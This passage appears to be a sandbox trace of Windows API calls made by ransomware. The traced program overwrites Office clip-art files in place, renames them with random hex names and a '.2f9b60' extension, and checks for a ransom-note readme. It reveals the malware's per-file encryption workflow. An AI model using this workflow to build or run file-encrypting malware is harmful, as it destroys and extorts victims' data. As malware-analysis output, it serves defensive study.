[0147.008] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced9630) returned 1 [0147.008] FlushFileBuffers (hFile=0x1c3c) returned 1 [0147.057] CloseHandle (hObject=0x1c3c) returned 1 [0147.059] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x88) returned 0x1b86b820 [0147.059] wcscpy (in: _Dest=0x1b86b820, _Source="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\" [0147.059] wcscat (in: _Dest=0x1b86b820, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\2F9B60-Readme.txt") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\2F9B60-Readme.txt" [0147.059] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\2F9B60-Readme.txt" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\2f9b60-readme.txt")) returned 0x20 [0147.060] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b86b820) returned 1 [0147.060] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b86aa10) returned 1 Thread: id = 1758 os_tid = 0x1780 [0132.094] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0297749.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0297749.wmf")) returned 0x20 [0132.846] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0297749.WMF", dwFileAttributes=0x20) returned 1 [0133.471] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0297749.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0297749.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1cc4 [0135.733] GetFileSizeEx (in: hFile=0x1cc4, lpFileSize=0x26d8fb80 | out: lpFileSize=0x26d8fb80*=10170) returned 1 [0135.733] SetFilePointerEx (in: hFile=0x1cc4, liDistanceToMove=0x27b6, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0135.733] ReadFile (in: hFile=0x1cc4, lpBuffer=0x26d8fb00, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x26d8fb48, lpOverlapped=0x0 | out: lpBuffer=0x26d8fb00*, lpNumberOfBytesRead=0x26d8fb48*=0x4, lpOverlapped=0x0) returned 1 [0135.888] SetFilePointerEx (in: hFile=0x1cc4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0135.888] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20267a70 [0135.888] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202679e0 [0135.888] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202678c0 [0135.888] NtQuerySystemTime (in: CurrentTime=0x26d8fa40 | out: CurrentTime=0x26d8fa40*=132462177411250000) returned 0x0 [0135.888] RtlRandomEx (in: Seed=0x26d8fa30 | out: Seed=0x26d8fa30) returned 0x18d66ae3 [0135.888] RtlRandomEx (in: Seed=0x26d8fa30 | out: Seed=0x26d8fa30) returned 0x2cd82e0f [0135.888] RtlRandomEx (in: Seed=0x26d8fa30 | out: Seed=0x26d8fa30) returned 0x75c93176 [0135.888] RtlRandomEx (in: Seed=0x26d8fa30 | out: Seed=0x26d8fa30) returned 0x62f0f4d [0135.888] RtlRandomEx (in: Seed=0x26d8fa30 | out: Seed=0x26d8fa30) returned 0x78040975 [0135.888] RtlRandomEx (in: Seed=0x26d8fa30 | out: Seed=0x26d8fa30) returned 0x5e8756f9 [0135.888] RtlRandomEx (in: Seed=0x26d8fa30 | out: Seed=0x26d8fa30) returned 0x6db1f2c9 [0135.889] RtlRandomEx (in: Seed=0x26d8fa30 | out: Seed=0x26d8fa30) returned 0x2f2186f7 [0135.889] RtlRandomEx (in: Seed=0x26d8fa30 | out: Seed=0x26d8fa30) returned 0x123c054d [0135.889] RtlRandomEx (in: Seed=0x26d8fa30 | out: Seed=0x26d8fa30) returned 0x497ced92 [0135.889] RtlRandomEx (in: Seed=0x26d8fa30 | out: Seed=0x26d8fa30) returned 0x729873a0 [0135.889] RtlRandomEx (in: Seed=0x26d8fa30 | out: Seed=0x26d8fa30) returned 0x266ed50f [0135.889] RtlRandomEx (in: Seed=0x26d8fa30 | out: Seed=0x26d8fa30) returned 0x659a93f4 [0135.889] RtlRandomEx (in: Seed=0x26d8fa30 | out: Seed=0x26d8fa30) returned 0x95889e5 [0135.889] RtlRandomEx (in: Seed=0x26d8fa30 | out: Seed=0x26d8fa30) returned 0x7fdefac7 [0135.889] RtlRandomEx (in: Seed=0x26d8fa30 | out: Seed=0x26d8fa30) returned 0x5044959d [0135.889] RtlRandomEx (in: Seed=0x26d8fa30 | out: Seed=0x26d8fa30) returned 0x7147de73 [0135.889] RtlRandomEx (in: Seed=0x26d8fa30 | out: Seed=0x26d8fa30) returned 0x17a345cd [0135.889] RtlRandomEx (in: Seed=0x26d8fa30 | out: Seed=0x26d8fa30) returned 0x6c47f23 [0135.889] RtlRandomEx (in: Seed=0x26d8fa30 | out: Seed=0x26d8fa30) returned 0x6178dc3a [0135.889] RtlRandomEx (in: Seed=0x26d8fa30 | out: Seed=0x26d8fa30) returned 0x51b3b67 [0135.889] RtlRandomEx (in: Seed=0x26d8fa30 | out: Seed=0x26d8fa30) returned 0x5afbad6 [0135.889] RtlRandomEx (in: Seed=0x26d8fa30 | out: Seed=0x26d8fa30) returned 0x77550e4a [0135.889] RtlRandomEx (in: Seed=0x26d8fa30 | out: Seed=0x26d8fa30) returned 0x643f4e3 [0135.889] RtlRandomEx (in: Seed=0x26d8fa30 | out: Seed=0x26d8fa30) returned 0x18a6f2a5 [0135.889] RtlRandomEx (in: Seed=0x26d8fa30 | out: Seed=0x26d8fa30) returned 0x7da5a407 [0135.889] RtlRandomEx (in: Seed=0x26d8fa30 | out: Seed=0x26d8fa30) returned 0x2c50a779 [0135.889] RtlRandomEx (in: Seed=0x26d8fa30 | out: Seed=0x26d8fa30) returned 0x1b33b4f6 [0135.889] RtlRandomEx (in: Seed=0x26d8fa30 | out: Seed=0x26d8fa30) returned 0x2562022 [0135.889] RtlRandomEx (in: Seed=0x26d8fa30 | out: Seed=0x26d8fa30) returned 0x37c7a057 [0135.889] RtlRandomEx (in: Seed=0x26d8fa30 | out: Seed=0x26d8fa30) returned 0x2a6db3b [0135.889] RtlRandomEx (in: Seed=0x26d8fa30 | out: Seed=0x26d8fa30) returned 0x3d6d32c5 [0135.901] ReadFile (in: hFile=0x1cc4, lpBuffer=0x203a4520, nNumberOfBytesToRead=0x27ba, lpNumberOfBytesRead=0x26d8fa30, lpOverlapped=0x0 | out: lpBuffer=0x203a4520*, lpNumberOfBytesRead=0x26d8fa30*=0x27ba, lpOverlapped=0x0) returned 1 [0135.958] SetFilePointerEx (in: hFile=0x1cc4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0135.958] WriteFile (in: hFile=0x1cc4, lpBuffer=0x203a8130*, nNumberOfBytesToWrite=0x27ba, lpNumberOfBytesWritten=0x26d8fa34, lpOverlapped=0x0 | out: lpBuffer=0x203a8130*, lpNumberOfBytesWritten=0x26d8fa34*=0x27ba, lpOverlapped=0x0) returned 1 [0142.461] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204ff520 [0142.462] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204ff550 [0142.462] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204ff550) returned 1 [0142.462] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x203a8130) returned 1 [0142.462] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x203a4520) returned 1 [0142.462] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85d490) returned 1 [0142.462] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd978a0) returned 1 [0142.462] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x26) returned 0x204ff550 [0142.462] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd978a0 [0142.462] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b85d490 [0142.463] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204ff580 [0142.463] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204ff580) returned 1 [0142.463] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x26) returned 0x204ff580 [0142.463] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204ff5b0 [0142.463] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204ff5e0 [0142.463] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204ff5e0) returned 1 [0142.463] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85d490) returned 1 [0142.463] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd978a0) returned 1 [0142.463] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x10a) returned 0x167160 [0142.464] SetFilePointerEx (in: hFile=0x1cc4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0142.464] WriteFile (in: hFile=0x1cc4, lpBuffer=0x167160*, nNumberOfBytesToWrite=0x10a, lpNumberOfBytesWritten=0x26d8fb50, lpOverlapped=0x0 | out: lpBuffer=0x167160*, lpNumberOfBytesWritten=0x26d8fb50*=0x10a, lpOverlapped=0x0) returned 1 [0143.417] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97d00 [0143.418] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1ce59bb0 [0143.418] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20261b20 [0143.418] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20261b20) returned 1 [0143.418] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x1b7d5a50 [0143.418] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20261b20 [0143.418] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20261880 [0143.418] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20261880) returned 1 [0143.419] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce59bb0) returned 1 [0143.419] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97d00) returned 1 [0143.419] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x31) returned 0x1b7aa120 [0143.419] sprintf (in: _Dest=0x1b7aa120, _Format="%c%c" | out: _Dest="78") returned 2 [0143.419] sprintf (in: _Dest=0x1b7aa122, _Format="%c%c" | out: _Dest="65") returned 2 [0143.419] sprintf (in: _Dest=0x1b7aa124, _Format="%c%c" | out: _Dest="a8") returned 2 [0143.419] sprintf (in: _Dest=0x1b7aa126, _Format="%c%c" | out: _Dest="c1") returned 2 [0143.419] sprintf (in: _Dest=0x1b7aa128, _Format="%c%c" | out: _Dest="c9") returned 2 [0143.419] sprintf (in: _Dest=0x1b7aa12a, _Format="%c%c" | out: _Dest="2b") returned 2 [0143.419] sprintf (in: _Dest=0x1b7aa12c, _Format="%c%c" | out: _Dest="5d") returned 2 [0143.419] sprintf (in: _Dest=0x1b7aa12e, _Format="%c%c" | out: _Dest="78") returned 2 [0143.419] sprintf (in: _Dest=0x1b7aa130, _Format="%c%c" | out: _Dest="96") returned 2 [0143.419] sprintf (in: _Dest=0x1b7aa132, _Format="%c%c" | out: _Dest="82") returned 2 [0143.419] sprintf (in: _Dest=0x1b7aa134, _Format="%c%c" | out: _Dest="0f") returned 2 [0143.419] sprintf (in: _Dest=0x1b7aa136, _Format="%c%c" | out: _Dest="d8") returned 2 [0143.419] sprintf (in: _Dest=0x1b7aa138, _Format="%c%c" | out: _Dest="05") returned 2 [0143.419] sprintf (in: _Dest=0x1b7aa13a, _Format="%c%c" | out: _Dest="92") returned 2 [0143.419] sprintf (in: _Dest=0x1b7aa13c, _Format="%c%c" | out: _Dest="95") returned 2 [0143.419] sprintf (in: _Dest=0x1b7aa13e, _Format="%c%c" | out: _Dest="e4") returned 2 [0143.419] sprintf (in: _Dest=0x1b7aa140, _Format="%c%c" | out: _Dest="f7") returned 2 [0143.419] sprintf (in: _Dest=0x1b7aa142, _Format="%c%c" | out: _Dest="8a") returned 2 [0143.419] sprintf (in: _Dest=0x1b7aa144, _Format="%c%c" | out: _Dest="a4") returned 2 [0143.419] sprintf (in: _Dest=0x1b7aa146, _Format="%c%c" | out: _Dest="b4") returned 2 [0143.419] sprintf (in: _Dest=0x1b7aa148, _Format="%c%c" | out: _Dest="be") returned 2 [0143.420] sprintf (in: _Dest=0x1b7aa14a, _Format="%c%c" | out: _Dest="f1") returned 2 [0143.420] sprintf (in: _Dest=0x1b7aa14c, _Format="%c%c" | out: _Dest="c3") returned 2 [0143.420] sprintf (in: _Dest=0x1b7aa14e, _Format="%c%c" | out: _Dest="c4") returned 2 [0143.420] RtlInitAnsiString (in: DestinationString=0x26d8fbc8, SourceString="7865a8c1c92b5d7896820fd8059295e4f78aa4b4bef1c3c4" | out: DestinationString="7865a8c1c92b5d7896820fd8059295e4f78aa4b4bef1c3c4") [0143.420] RtlAnsiStringToUnicodeString (in: DestinationString=0x26d8fb98, SourceString="7865a8c1c92b5d7896820fd8059295e4f78aa4b4bef1c3c4", AllocateDestinationString=1 | out: DestinationString="7865a8c1c92b5d7896820fd8059295e4f78aa4b4bef1c3c4") returned 0x0 [0143.420] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x62) returned 0x1b86f050 [0143.420] RtlFreeAnsiString (AnsiString="7") [0143.420] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7aa120) returned 1 [0143.420] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7d5a50) returned 1 [0143.420] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20261b20) returned 1 [0143.421] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x167160) returned 1 [0143.421] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204ff580) returned 1 [0143.421] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204ff5b0) returned 1 [0143.421] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204ff550) returned 1 [0143.421] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204ff520) returned 1 [0143.421] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202679e0) returned 1 [0143.421] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20261850) returned 1 [0143.421] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20263800) returned 1 [0143.422] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8a) returned 0x20507d70 [0143.422] wcscat (in: _Dest=0x20507d70, _Source="7865a8c1c92b" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\7865a8c1c92b") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\7865a8c1c92b" [0143.422] wcscat (in: _Dest=0x20507d70, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\7865a8c1c92b.2f9b60") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\7865a8c1c92b.2f9b60" [0143.422] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\7865a8c1c92b.2f9b60", NtPathName=0x26d8fb70, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\7865a8c1c92b.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0143.422] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xa8) returned 0x2050c030 [0143.422] NtSetInformationFile (FileHandle=0x1cc4, IoStatusBlock=0x26d8fc10, FileInformation=0x2050c030, Length=0xa8, FileInformationClass=0xa) returned 0x0 [0146.794] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2050c030) returned 1 [0146.794] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cf46600) returned 1 [0146.794] NtQueryInformationFile (in: FileHandle=0x1cc4, IoStatusBlock=0x26d8fbd8, FileInformation=0x26d8fbe8, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x26d8fbd8, FileInformation=0x26d8fbe8) returned 0x0 [0146.794] NtSetInformationFile (FileHandle=0x1cc4, IoStatusBlock=0x26d8fbd8, FileInformation=0x26d8fbe8, Length=0x28, FileInformationClass=0x4) returned 0x0 [0146.795] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20507d70) returned 1 [0146.796] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b86f050) returned 1 [0146.796] FlushFileBuffers (hFile=0x1cc4) returned 1 [0146.799] CloseHandle (hObject=0x1cc4) returned 1 [0146.801] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x88) returned 0x1b86abc0 [0146.801] wcscpy (in: _Dest=0x1b86abc0, _Source="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\" [0146.801] wcscat (in: _Dest=0x1b86abc0, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\2F9B60-Readme.txt") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\2F9B60-Readme.txt" [0146.801] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\2F9B60-Readme.txt" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\2f9b60-readme.txt")) returned 0x20 [0146.801] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b86abc0) returned 1 [0146.801] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b86b9d0) returned 1 Thread: id = 1759 os_tid = 0x1784 [0132.095] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0298653.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0298653.wmf")) returned 0x20 [0132.901] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0298653.WMF", dwFileAttributes=0x20) returned 1 [0133.490] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0298653.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0298653.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1c58 [0134.808] GetFileSizeEx (in: hFile=0x1c58, lpFileSize=0x25d8fe40 | out: lpFileSize=0x25d8fe40*=6526) returned 1 [0134.808] SetFilePointerEx (in: hFile=0x1c58, liDistanceToMove=0x197a, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0134.808] ReadFile (in: hFile=0x1c58, lpBuffer=0x25d8fdc0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x25d8fe08, lpOverlapped=0x0 | out: lpBuffer=0x25d8fdc0*, lpNumberOfBytesRead=0x25d8fe08*=0x4, lpOverlapped=0x0) returned 1 [0134.820] SetFilePointerEx (in: hFile=0x1c58, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0134.820] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b860840 [0134.820] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85ffa0 [0134.820] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85f6d0 [0134.820] NtQuerySystemTime (in: CurrentTime=0x25d8fd00 | out: CurrentTime=0x25d8fd00*=132462177400642000) returned 0x0 [0134.820] RtlRandomEx (in: Seed=0x25d8fcf0 | out: Seed=0x25d8fcf0) returned 0x1c4e0a53 [0134.820] RtlRandomEx (in: Seed=0x25d8fcf0 | out: Seed=0x25d8fcf0) returned 0x38c76176 [0134.820] RtlRandomEx (in: Seed=0x25d8fcf0 | out: Seed=0x25d8fcf0) returned 0x1fb2570 [0134.820] RtlRandomEx (in: Seed=0x25d8fcf0 | out: Seed=0x25d8fcf0) returned 0x97c2ee3 [0134.820] RtlRandomEx (in: Seed=0x25d8fcf0 | out: Seed=0x25d8fcf0) returned 0x31409799 [0134.820] RtlRandomEx (in: Seed=0x25d8fcf0 | out: Seed=0x25d8fcf0) returned 0x6e7fe582 [0134.821] RtlRandomEx (in: Seed=0x25d8fcf0 | out: Seed=0x25d8fcf0) returned 0x20d1c415 [0134.821] RtlRandomEx (in: Seed=0x25d8fcf0 | out: Seed=0x25d8fcf0) returned 0x359d4a3f [0134.821] RtlRandomEx (in: Seed=0x25d8fcf0 | out: Seed=0x25d8fcf0) returned 0x229d126e [0134.821] RtlRandomEx (in: Seed=0x25d8fcf0 | out: Seed=0x25d8fcf0) returned 0x79a16cb6 [0134.821] RtlRandomEx (in: Seed=0x25d8fcf0 | out: Seed=0x25d8fcf0) returned 0x42c3449e [0134.821] RtlRandomEx (in: Seed=0x25d8fcf0 | out: Seed=0x25d8fcf0) returned 0x4a89ae9 [0134.821] RtlRandomEx (in: Seed=0x25d8fcf0 | out: Seed=0x25d8fcf0) returned 0x7500d7eb [0134.821] RtlRandomEx (in: Seed=0x25d8fcf0 | out: Seed=0x25d8fcf0) returned 0x7cf0a742 [0134.821] RtlRandomEx (in: Seed=0x25d8fcf0 | out: Seed=0x25d8fcf0) returned 0x8662159 [0134.821] RtlRandomEx (in: Seed=0x25d8fcf0 | out: Seed=0x25d8fcf0) returned 0xc221ecb [0134.821] RtlRandomEx (in: Seed=0x25d8fcf0 | out: Seed=0x25d8fcf0) returned 0x7e9f4ff6 [0134.821] RtlRandomEx (in: Seed=0x25d8fcf0 | out: Seed=0x25d8fcf0) returned 0x2dcddf8b [0134.821] RtlRandomEx (in: Seed=0x25d8fcf0 | out: Seed=0x25d8fcf0) returned 0x3e1ab2b0 [0134.821] RtlRandomEx (in: Seed=0x25d8fcf0 | out: Seed=0x25d8fcf0) returned 0x57cf971b [0134.821] RtlRandomEx (in: Seed=0x25d8fcf0 | out: Seed=0x25d8fcf0) returned 0x455faf4b [0134.821] RtlRandomEx (in: Seed=0x25d8fcf0 | out: Seed=0x25d8fcf0) returned 0x4cf42134 [0134.821] RtlRandomEx (in: Seed=0x25d8fcf0 | out: Seed=0x25d8fcf0) returned 0x54ec8954 [0134.821] RtlRandomEx (in: Seed=0x25d8fcf0 | out: Seed=0x25d8fcf0) returned 0x64a39e76 [0134.821] RtlRandomEx (in: Seed=0x25d8fcf0 | out: Seed=0x25d8fcf0) returned 0x142e471b [0134.821] RtlRandomEx (in: Seed=0x25d8fcf0 | out: Seed=0x25d8fcf0) returned 0xa92025b [0134.821] RtlRandomEx (in: Seed=0x25d8fcf0 | out: Seed=0x25d8fcf0) returned 0x5e10ab82 [0134.821] RtlRandomEx (in: Seed=0x25d8fcf0 | out: Seed=0x25d8fcf0) returned 0x194649db [0134.821] RtlRandomEx (in: Seed=0x25d8fcf0 | out: Seed=0x25d8fcf0) returned 0x1d64d537 [0134.821] RtlRandomEx (in: Seed=0x25d8fcf0 | out: Seed=0x25d8fcf0) returned 0x7d1520e0 [0134.822] RtlRandomEx (in: Seed=0x25d8fcf0 | out: Seed=0x25d8fcf0) returned 0x6af39303 [0134.822] RtlRandomEx (in: Seed=0x25d8fcf0 | out: Seed=0x25d8fcf0) returned 0x666b41b9 [0134.832] ReadFile (in: hFile=0x1c58, lpBuffer=0x20320910, nNumberOfBytesToRead=0x197e, lpNumberOfBytesRead=0x25d8fcf0, lpOverlapped=0x0 | out: lpBuffer=0x20320910*, lpNumberOfBytesRead=0x25d8fcf0*=0x197e, lpOverlapped=0x0) returned 1 [0134.858] SetFilePointerEx (in: hFile=0x1c58, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0134.858] WriteFile (in: hFile=0x1c58, lpBuffer=0x20324520*, nNumberOfBytesToWrite=0x197e, lpNumberOfBytesWritten=0x25d8fcf4, lpOverlapped=0x0 | out: lpBuffer=0x20324520*, lpNumberOfBytesWritten=0x25d8fcf4*=0x197e, lpOverlapped=0x0) returned 1 [0135.299] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20261820 [0135.299] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202617c0 [0135.299] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202617c0) returned 1 [0135.299] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20324520) returned 1 [0135.299] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20320910) returned 1 [0135.300] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b79dbf0) returned 1 [0135.300] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd977b0) returned 1 [0135.300] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x26) returned 0x202617c0 [0135.300] SetFilePointerEx (in: hFile=0x1c58, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0135.300] WriteFile (in: hFile=0x1c58, lpBuffer=0x167a60*, nNumberOfBytesToWrite=0x10a, lpNumberOfBytesWritten=0x25d8fe10, lpOverlapped=0x0 | out: lpBuffer=0x167a60*, lpNumberOfBytesWritten=0x25d8fe10*=0x10a, lpOverlapped=0x0) returned 1 [0135.372] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97df0 [0135.372] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b79dd70 [0135.372] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20505bd0 [0135.372] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20505bd0) returned 1 [0135.372] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x1b7d5a50 [0135.373] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20505bd0 [0135.373] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20505c00 [0135.373] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20505c00) returned 1 [0135.373] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b79dd70) returned 1 [0135.373] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97df0) returned 1 [0135.373] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x31) returned 0x1cd9fff0 [0135.373] sprintf (in: _Dest=0x1cd9fff0, _Format="%c%c" | out: _Dest="5c") returned 2 [0135.373] sprintf (in: _Dest=0x1cd9fff2, _Format="%c%c" | out: _Dest="b0") returned 2 [0135.373] sprintf (in: _Dest=0x1cd9fff4, _Format="%c%c" | out: _Dest="b2") returned 2 [0135.374] sprintf (in: _Dest=0x1cd9fff6, _Format="%c%c" | out: _Dest="36") returned 2 [0135.374] sprintf (in: _Dest=0x1cd9fff8, _Format="%c%c" | out: _Dest="bc") returned 2 [0135.374] sprintf (in: _Dest=0x1cd9fffa, _Format="%c%c" | out: _Dest="3b") returned 2 [0135.374] sprintf (in: _Dest=0x1cd9fffc, _Format="%c%c" | out: 